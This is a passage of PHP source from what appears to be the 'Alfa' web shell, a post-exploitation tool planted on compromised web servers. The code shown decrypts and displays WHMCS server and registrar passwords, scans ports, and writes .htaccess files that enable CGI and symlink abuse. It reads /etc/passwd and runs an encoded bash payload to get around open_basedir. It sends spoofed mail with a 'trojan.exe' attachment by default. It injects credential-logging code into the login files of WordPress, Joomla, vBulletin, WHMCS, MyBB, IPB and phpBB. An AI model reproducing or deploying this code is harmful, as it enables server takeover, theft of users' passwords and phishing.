  6237. echo __pre();
  6238. $conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name) or die(mysqli_error($conn));
  6239. $query = mysqli_query($conn, "SELECT * FROM tblservers");
  6240. $num = mysqli_num_rows($query);
  6241. if ($num > 0) {
  6242. for ($i = 0; $i <= $num - 1; $i++) {
  6243. $v = @mysqli_fetch_array($query);
  6244. $ipaddress = $v['ipaddress'];
  6245. $username = $v['username'];
  6246. $type = $v['type'];
  6247. $active = $v['active'];
  6248. $hostname = $v['hostname'];
  6249. echo ("<center><table border='1'>");
  6250. $password = decrypt($v['password'], $cc_encryption_hash);
  6251. echo ("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
  6252. echo ("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
  6253. echo ("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
  6254. echo ("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
  6255. echo ("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
  6256. echo ("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
  6257. echo "</table><br><br></center>";
  6258. }
  6259. $query1 = @mysqli_query($conn, "SELECT * FROM tblregistrars");
  6260. $num1 = @mysqli_num_rows($query1);
  6261. if ($num1 > 0) {
  6262. for ($i = 0; $i <= $num1 - 1; $i++) {
  6263. $v = mysqli_fetch_array($query1);
  6264. $registrar = $v['registrar'];
  6265. $setting = $v['setting'];
  6266. $value = decrypt($v['value'], $cc_encryption_hash);
  6267. if ($value == "") {
  6268. $value = 0;
  6269. }
  6270. echo ("<center>Domain Reseller <br><center>");
  6271. echo ("<center><table border='1'>");
  6272. echo ("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
  6273. echo ("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
  6274. echo ("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
  6275. echo "</table><br><br></center>";
  6276. }
  6277. }
  6278. } else {
  6279. __alert('<font color="red">tblservers is Empty...!</font>');
  6280. }
  6281. ;
  6282. }
  6283. echo "</div>";
  6284. alfafooter();
  6285. }
  6286. function alfaportscanner()
  6287. {
  6288. alfahead();
  6289. echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
  6290. <form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
  6291. <input type="hidden" name="y" value="phptools">
  6292. <div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
  6293. <div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
  6294. <div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
  6295. </form></center><br>';
  6296. $start = strip_tags($_POST['alfa2']);
  6297. $end = strip_tags($_POST['alfa3']);
  6298. $host = strip_tags($_POST['alfa4']);
  6299. if (isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])) {
  6300. echo __pre();
  6301. $packetContent = "GET / HTTP/1.1\r\n\r\n";
  6302. if (ctype_xdigit($packetContent))
  6303. $packetContent = @pack("H*", $packetContent);
  6304. else {
  6305. $packetContent = str_replace(array(
  6306. "\r",
  6307. "\n"
  6308. ), "", $packetContent);
  6309. $packetContent = str_replace(array(
  6310. "\\r",
  6311. "\\n"
  6312. ), array(
  6313. "\r",
  6314. "\n"
  6315. ), $packetContent);
  6316. }
  6317. for ($i = $start; $i <= $end; $i++) {
  6318. $sock = @fsockopen($host, $i, $errno, $errstr, 3);
  6319. if ($sock) {
  6320. stream_set_timeout($sock, 5);
  6321. fwrite($sock, $packetContent . "\r\n\r\n\x00");
  6322. $counter = 0;
  6323. $maxtry = 1;
  6324. $bin = "";
  6325. do {
  6326. $line = fgets($sock, 1024);
  6327. if (trim($line) == "")
  6328. $counter++;
  6329. $bin .= $line;
  6330. } while ($counter < $maxtry);
  6331. fclose($sock);
  6332. echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
  6333. echo "<p><textarea style='height:140px;width:50%;'>" . $bin . "</textarea></p></center>";
  6334. }
  6335. flush();
  6336. }
  6337. }
  6338. echo '</div>';
  6339. alfafooter();
  6340. }
  6341. function alfacgihtaccess($m, $d = '', $symname = false)
  6342. {
  6343. $readme = "";
  6344. if ($symname) {
  6345. $readme = "\nReadmeName " . trim($symname);
  6346. }
  6347. if ($m == 'cgi') {
  6348. $code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
  6349. } elseif ($m == 'sym') {
  6350. $code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
  6351. } elseif ($m == 'shtml') {
  6352. $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
  6353. }
  6354. @__write_file($d . '.htaccess', $code);
  6355. }
  6356. function alfabasedir()
  6357. {
  6358. alfahead();
  6359. echo '<div class=header><center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
  6360. $passwd = _alfa_file('/etc/passwd');
  6361. if (is_array($passwd)) {
  6362. $users = array();
  6363. $makepwd = alfaMakePwd();
  6364. $basedir = @ini_get('open_basedir');
  6365. $safe_mode = @ini_get('safe_mode');
  6366. if (_alfa_can_runCommand(true, false) && ($basedir || $safe_mode)) {
  6367. $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
  6368. alfaWriteTocgiapi("basedir.alfa", $bash);
  6369. $bash_users = alfaEx("cd alfacgiapi;sh basedir.alfa " . $makepwd, false, true, true);
  6370. $users = json_decode($bash_users, true);
  6371. $x = count($users);
  6372. if ($x >= 2) {
  6373. array_pop($users);
  6374. --$x;
  6375. }
  6376. }
  6377. if (!$basedir && !$safe_mode) {
  6378. $x = 0;
  6379. foreach ($passwd as $str) {
  6380. $pos = strpos($str, ':');
  6381. $username = substr($str, 0, $pos);
  6382. $dirz = str_replace("{user}", $username, $makepwd);
  6383. if (($username != '')) {
  6384. if (@is_readable($dirz)) {
  6385. array_push($users, $username);
  6386. $x++;
  6387. }
  6388. }
  6389. }
  6390. }
  6391. echo '<br><br>';
  6392. echo "<b><font color=\"#00A220\">[+] Founded " . sizeof($passwd) . " entrys in /etc/passwd\n" . "<br /></font></b>";
  6393. echo "<b><font color=\"#FFFFFF\">[+] Founded " . $x . " readable " . str_replace("{user}", "*", $makepwd) . " directories\n" . "<br /></font></b>";
  6394. echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n" . "<br /><br /><br /></font></b>";
  6395. foreach ($users as $user) {
  6396. if (empty($user))
  6397. continue;
  6398. $path = str_replace("{user}", $user, $makepwd);
  6399. echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
  6400. }
  6401. } else {
  6402. echo ('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');
  6403. }
  6404. echo '<br><br></b>';
  6405. echo '</div>';
  6406. alfafooter();
  6407. }
  6408. function alfamail()
  6409. {
  6410. alfahead();
  6411. echo '<div class=header>';
  6412. echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
  6413. $table = array(
  6414. 'td1' => array(
  6415. 'color' => 'FFFFFF',
  6416. 'tdName' => 'Mail To : ',
  6417. 'inputName' => 'mail_to',
  6418. 'inputValue' => 'target@fbi.gov',
  6419. 'inputSize' => '60',
  6420. 'placeholder' => true
  6421. ),
  6422. 'td2' => array(
  6423. 'color' => 'FFFFFF',
  6424. 'tdName' => 'From : ',
  6425. 'inputName' => 'mail_from',
  6426. 'inputValue' => 'sec@google.com',
  6427. 'inputSize' => '60',
  6428. 'placeholder' => true
  6429. ),
  6430. 'td3' => array(
  6431. 'color' => 'FFFFFF',
  6432. 'tdName' => 'Subject : ',
  6433. 'inputName' => 'mail_subject',
  6434. 'inputValue' => 'your site hacked by me',
  6435. 'inputSize' => '60'
  6436. ),
  6437. 'td4' => array(
  6438. 'color' => 'FFFFFF',
  6439. 'tdName' => 'Attach File : ',
  6440. 'inputName' => 'mail_attach',
  6441. 'inputValue' => $GLOBALS['cwd'] . 'trojan.exe',
  6442. 'inputSize' => '60'
  6443. ),
  6444. 'td5' => array(
  6445. 'color' => 'FFFFFF',
  6446. 'tdName' => 'Count Mail : ',
  6447. 'inputName' => 'count_mail',
  6448. 'inputValue' => '1',
  6449. 'inputSize' => '60'
  6450. )
  6451. );
  6452. create_table($table);
  6453. echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
  6454. if (isset($_POST['alfa4']) && ($_POST['alfa4'] == '>>')) {
  6455. $mail_to = $_POST['alfa1'];
  6456. $mail_from = $_POST['alfa2'];
  6457. $mail_subject = $_POST['alfa3'];
  6458. $mail_content = $_POST['alfa5'];
  6459. $count_mail = (int) $_POST['alfa6'];
  6460. $mail_attach = $_POST['alfa7'];
  6461. if (filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
  6462. if (!empty($mail_attach) && @is_file($mail_attach)) {
  6463. $file = $mail_attach;
  6464. $content = __read_file($file);
  6465. $content = chunk_split(__ZW5jb2Rlcg($content));
  6466. $uid = md5(uniqid(time()));
  6467. $filename = basename($file);
  6468. $headers = "From: " . $mail_from . " <" . $mail_from . ">\r\n";
  6469. $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
  6470. $headers .= "Reply-To: " . $mail_from . "\r\n";
  6471. $headers .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
  6472. $headers .= 'MIME-Version: 1.0' . "\r\n";
  6473. $headers .= 'X-Mailer: php' . "\r\n";
  6474. $mail_content = "--" . $uid . "\r\n";
  6475. $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
  6476. $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
  6477. $mail_content .= $mail_content . "\r\n\r\n";
  6478. $mail_content .= "--" . $uid . "\r\n";
  6479. $mail_content .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
  6480. $mail_content .= "Content-Transfer-Encoding: base64\r\n";
  6481. $mail_content .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
  6482. $mail_content .= $content . "\r\n\r\n";
  6483. $mail_content .= "--" . $uid . "--";
  6484. } else {
  6485. $headers = "From: " . $mail_from . " ( " . $mail_from . " ) \r\n";
  6486. $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
  6487. $headers .= 'Reply-To: ' . $mail_from . '' . "\r\n";
  6488. $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
  6489. $headers .= 'MIME-Version: 1.0' . "\r\n";
  6490. $headers .= 'X-Mailer: php' . "\r\n";
  6491. }
  6492. if (empty($count_mail) || $count_mail < 1)
  6493. $count_mail = 1;
  6494. if (!empty($mail_from)) {
  6495. echo __pre();
  6496. for ($i = 1; $i <= $count_mail; $i++) {
  6497. if (@mail($mail_to, $mail_subject, $mail_content, $headers))
  6498. echo ("<center>Sent -> $mail_to<br></center>");
  6499. }
  6500. } else {
  6501. __alert("Invalid Mail From !");
  6502. }
  6503. } else {
  6504. __alert("Invalid Mail To !");
  6505. }
  6506. }
  6507. echo ('</div>');
  6508. alfafooter();
  6509. }
  6510. function alfaziper()
  6511. {
  6512. alfahead();
  6513. echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
  6514. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  6515. <div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="' . htmlspecialchars($GLOBALS['cwd']) . '" size="60"/>
  6516. <div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'alfa.zip" size="60"/>
  6517. <input type="submit" value=" " name="ziper" />
  6518. </form></center></p>';
  6519. if (isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')) {
  6520. $dirzip = $_POST['alfa3'];
  6521. $zipfile = $_POST['alfa4'];
  6522. if (class_exists('ZipArchive') && ($GLOBALS['sys'] != 'unix' || !_alfa_can_runCommand(true, true))) {
  6523. $code = 'if(!extension_loaded(\'zip\')||!file_exists($source)){return false;}$zip=new ZipArchive();if(!$zip->open($destination,ZIPARCHIVE::CREATE)){return false;}$source=str_replace(\'\\\\\',\'/\',realpath($source));if(is_dir($source)===true){$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);foreach($files as $file){$file=str_replace(\'\\\\\',\'/\',$file);if(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;$file=realpath($file);if(is_dir($file)===true){$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));}else if(is_file($file)===true){$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));}}}else if(is_file($source)===true){$zip->addFromString(basename($source),file_get_contents($source));}return $zip->close();';
  6524. $newfunc = create_function('$source,$destination', $code);
  6525. if ($newfunc($dirzip, $zipfile)) {
  6526. echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font></p></center>';
  6527. } else {
  6528. echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
  6529. }
  6530. } else {
  6531. alfaEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "' > /dev/null &");
  6532. echo __pre() . '<center><p>Please Wait For 1 minutes AND Check this -> <b><font color="green">' . $zipfile . '</font></b><br>Because We Executed The Command in The background !</p></center>';
  6533. }
  6534. }
  6535. echo '</div>';
  6536. alfafooter();
  6537. }
  6538. function alfacmshijacker()
  6539. {
  6540. alfahead();
  6541. echo '<div class=header><br>
  6542. <center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
  6543. <div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
  6544. $cm_array = array(
  6545. "vb" => "vBulletin",
  6546. "wp" => "wordpress",
  6547. "jom" => "joomla",
  6548. "whmcs" => "whmcs",
  6549. "mybb" => "mybb",
  6550. "ipb" => "ipboard",
  6551. "phpbb" => "phpbb"
  6552. );
  6553. foreach ($cm_array as $key => $val)
  6554. echo '<option value="' . $key . '">' . $val . '</option>';
  6555. echo ("</select>");
  6556. echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
  6557. SaveTo: <input size="50" type="text" name="saveto" value="' . $GLOBALS['cwd'] . 'alfa.txt"></font>
  6558. <input type="submit" name="btn" value=" "></form></center><br>';
  6559. $cms = $_POST['alfa1'];
  6560. $saveto = $_POST['alfa2'];
  6561. $cmspath = $_POST['alfa4'];
  6562. if (!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>') {
  6563. echo __pre();
  6564. alfaHijackCms($cms, $cmspath, $saveto);
  6565. }
  6566. echo '</div>';
  6567. alfafooter();
  6568. }
  6569. function alfaHijackCms($cms, $cmspath, $saveto)
  6570. {
  6571. switch ($cms) {
  6572. case "vb":
  6573. hijackvBulletin($cmspath, $saveto);
  6574. break;
  6575. case "wp":
  6576. hijackwp($cmspath, $saveto);
  6577. break;
  6578. case "jom":
  6579. hijackJoomla($cmspath, $saveto);
  6580. break;
  6581. case "whmcs":
  6582. hijackWhmcs($cmspath, $saveto);
  6583. break;
  6584. case "mybb":
  6585. hijackMybb($cmspath, $saveto);
  6586. break;
  6587. case "ipb":
  6588. hijackIPB($cmspath, $saveto);
  6589. break;
  6590. case "phpbb":
  6591. hijackPHPBB($cmspath, $saveto);
  6592. break;
  6593. default:
  6594. echo "error!";
  6595. break;
  6596. }
  6597. }
  6598. function hijackvBulletin($path, $saveto)
  6599. {
  6600. $code = '$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  6601. $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
  6602. $code = str_replace('{saveto_path}', $saveto, $code);
  6603. $login = $path . "/login.php";
  6604. $class = $path . "/includes/class_bootstrap.php";
  6605. $dologin = 'do_login_redirect();';
  6606. $evil_login = "\t" . $code . "\n\t" . $dologin;
  6607. $evil_class = "true";
  6608. if (@is_file($login) AND @is_writable($login) AND @is_file($class) AND @is_writable($class)) {
  6609. $data_login = @file_get_contents($login);
  6610. $data_class = @file_get_contents($class);
  6611. if (strstr($data_login, $dologin) AND strstr($data_class, $clearpw)) {
  6612. $login_replace = str_replace($dologin, $evil_login, $data_login);
  6613. $class_replace = str_replace($clearpw, $evil_class, $data_class);
  6614. @file_put_contents($login, $login_replace);
  6615. @file_put_contents($class, $class_replace);
  6616. hijackOutput(0, $saveto);
  6617. } else {
  6618. hijackOutput(1);
  6619. }
  6620. } else {
  6621. hijackOutput(1);
  6622. }
  6623. }
  6624. function hijackwp($path, $saveto)
  6625. {
  6626. $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  6627. $redirect_wp = 'if ( !is_wp_error($user) && !$reauth ) {';
  6628. $code = str_replace('{saveto_path}', $saveto, $code);
  6629. $login = $path . "/wp-login.php";
  6630. $evil_login = "\t" . $redirect_wp . "\n\t" . $code;
  6631. if (@is_file($login) AND @is_writable($login)) {
  6632. $data_login = @file_get_contents($login);
  6633. if (strstr($data_login, $redirect_wp)) {
  6634. $login_replace = str_replace($redirect_wp, $evil_login, $data_login);
  6635. @file_put_contents($login, $login_replace);
  6636. hijackOutput(0, $saveto);
  6637. } else {
  6638. hijackOutput(1);
  6639. }
  6640. } else {
  6641. hijackOutput(1);
  6642. }
  6643. }
  6644. function hijackJoomla($path, $saveto)
  6645. {
  6646. $code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
  6647. $code = str_replace('{saveto_path}', $saveto, $code);
  6648. $comp = $path . "/administrator/components/com_login/";
  6649. if (@is_file($comp . "/login.php")) {
  6650. $login = $comp . "/login.php";
  6651. } elseif (@is_file($comp . "/admin.login.php")) {
  6652. $login = $comp . "/admin.login.php";
  6653. } else {
  6654. $login = '';
  6655. }
  6656. if (@is_file($login) AND @is_writable($login) AND $login != '') {
  6657. $data_login = @file_get_contents($login);
  6658. $evil_login = $code . "\n" . $data_login;
  6659. @file_put_contents($login, $evil_login);
  6660. hijackOutput(0, $saveto);
  6661. } else {
  6662. hijackOutput(1);
  6663. }
  6664. }
  6665. function hijackWhmcs($path, $saveto)
  6666. {
  6667. $code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
  6668. $code = str_replace('{saveto_path}', $saveto, $code);
  6669. $conf = $path . "/configuration.php";
  6670. if (@is_file($conf) AND @is_writable($conf)) {
  6671. $data_conf = @file_get_contents($conf);
  6672. if (!strstr($data_conf, '?>'))
  6673. $code = '?>' . $code;
  6674. $evil_conf = $data_conf . "\n" . $code;
  6675. @file_put_contents($conf, $evil_conf);
  6676. hijackOutput(0, $saveto);
  6677. } else {
  6678. hijackOutput(1);
  6679. }
  6680. }
  6681. function hijackMybb($path, $saveto)
  6682. {
  6683. $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
  6684. $find = '$loginhandler->complete_login();';
  6685. $code = str_replace('{saveto_path}', $saveto, $code);
  6686. $login = $path . "/member.php";
  6687. $evil_login = "\t" . $code . "\n\t" . $find;
  6688. if (@is_file($login) AND @is_writable($login)) {
  6689. $data_login = @file_get_contents($login);
  6690. if (strstr($data_login, $find)) {
  6691. $login_replace = str_replace($find, $evil_login, $data_login);
  6692. @file_put_contents($login, $login_replace);
  6693. hijackOutput(0, $saveto);
  6694. } else {
  6695. hijackOutput(1);
  6696. }
  6697. } else {
  6698. hijackOutput(1);
  6699. }
  6700. }
  6701. function hijackIPB($path, $saveto)
  6702. {
  6703. $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  6704. $find = 'unset( $member[\'plainPassword\'] );';
  6705. $code = str_replace('{saveto_path}', $saveto, $code);
  6706. $login = $path . "/admin/sources/handlers/han_login.php";
  6707. $evil_login = "\t" . $find . "\n\t" . $code;
  6708. if (@is_file($login) AND @is_writable($login)) {
  6709. $data_login = @file_get_contents($login);
  6710. if (strstr($data_login, $find)) {
  6711. $login_replace = str_replace($find, $evil_login, $data_login);
  6712. @file_put_contents($login, $login_replace);
  6713. hijackOutput(0, $saveto);
  6714. } else {
  6715. hijackOutput(1);
  6716. }
  6717. } else {
  6718. hijackOutput(1);
  6719. }
  6720. }
  6721. function hijackPHPBB($path, $saveto)
  6722. {
  6723. $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  6724. $find = 'case \'login\':';
  6725. $code = str_replace('{saveto_path}', $saveto, $code);
  6726. $login = $path . "/ucp.php";
  6727. $evil_login = "\t" . $find . "\n\t" . $code;
  6728. if (@is_file($login) AND @is_writable($login)) {
  6729. $data_login = @file_get_contents($login);
  6730. if (strstr($data_login, $find)) {
  6731. $login_replace = str_replace($find, $evil_login, $data_login);
  6732. @file_put_contents($login, $login_replace);
  6733. hijackOutput(0, $saveto);
  6734. } else {
  6735. hijackOutput(1);
  6736. }
  6737. } else {
  6738. hijackOutput(1);
  6739. }
  6740. }
  6741. function hijackOutput($c = 0, $p = '')
  6742. {
  6743. echo ($c == 0 ? "<center><font color='green'>Success</font> --> path: $p</center>" : '<center><font color="red">Error in inject code !</font></center>');
  6744. }
  6745. function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = array())
  6746. {
  6747. if (@is_dir($dir)) {
  6748. $files = @scandir($dir);
  6749. foreach ($files as $key => $value) {
  6750. $path = @realpath($dir . DIRECTORY_SEPARATOR . $value);
  6751. if (!@is_dir($path)) {
  6752. if ($ext != '*') {
  6753. $f = basename($path);
  6754. $f = explode('.', $f);
  6755. $f = end($f);
  6756. if ($f != $ext)
  6757. continue;
  6758. }
  6759. if ($e == 'str') {
  6760. $content = @file_get_contents($path);
  6761. if (strpos($content, $string) !== false) {
  6762. echo str_replace('\\', '/', $path) . "<br>";
  6763. }
  6764. } else {
  6765. if (strstr($value, $string)) {
  6766. echo str_replace('\\', '/', $path) . "<br>";
  6767. }
  6768. }
  6769. $results[] = $path;
  6770. } elseif ($value != "." && $value != "..") {
  6771. Alfa_StrSearcher($path, $string, $ext, $e, $results);
  6772. $results[] = $path;
  6773. }
  6774. }
  6775. }
  6776. }
  6777. function alfasearcher()
  6778. {
  6779. alfahead();
  6780. echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
  6781. if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'file') {
  6782. echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
  6783. <div class="txtfont">
  6784. Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
  6785. Dir: <input size="50" id="target" type="text" name="filename" value="' . $GLOBALS['cwd'] . '">
  6786. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  6787. <input type="submit" name="btn" value=" "></div></form></center><br>';
  6788. $dir = $_POST['alfa2'];
  6789. $ext = $_POST['alfa3'];
  6790. $method = $_POST['alfa4'];
  6791. if ($_POST['alfa5'] == '>>') {
  6792. echo __pre();
  6793. if (substr($dir, -1) == '/')
  6794. $dir = substr($dir, 0, -1);
  6795. Alfa_Searcher($dir, trim($ext), $method);
  6796. }
  6797. }
  6798. if ($_POST['alfa1'] == 'str') {
  6799. echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
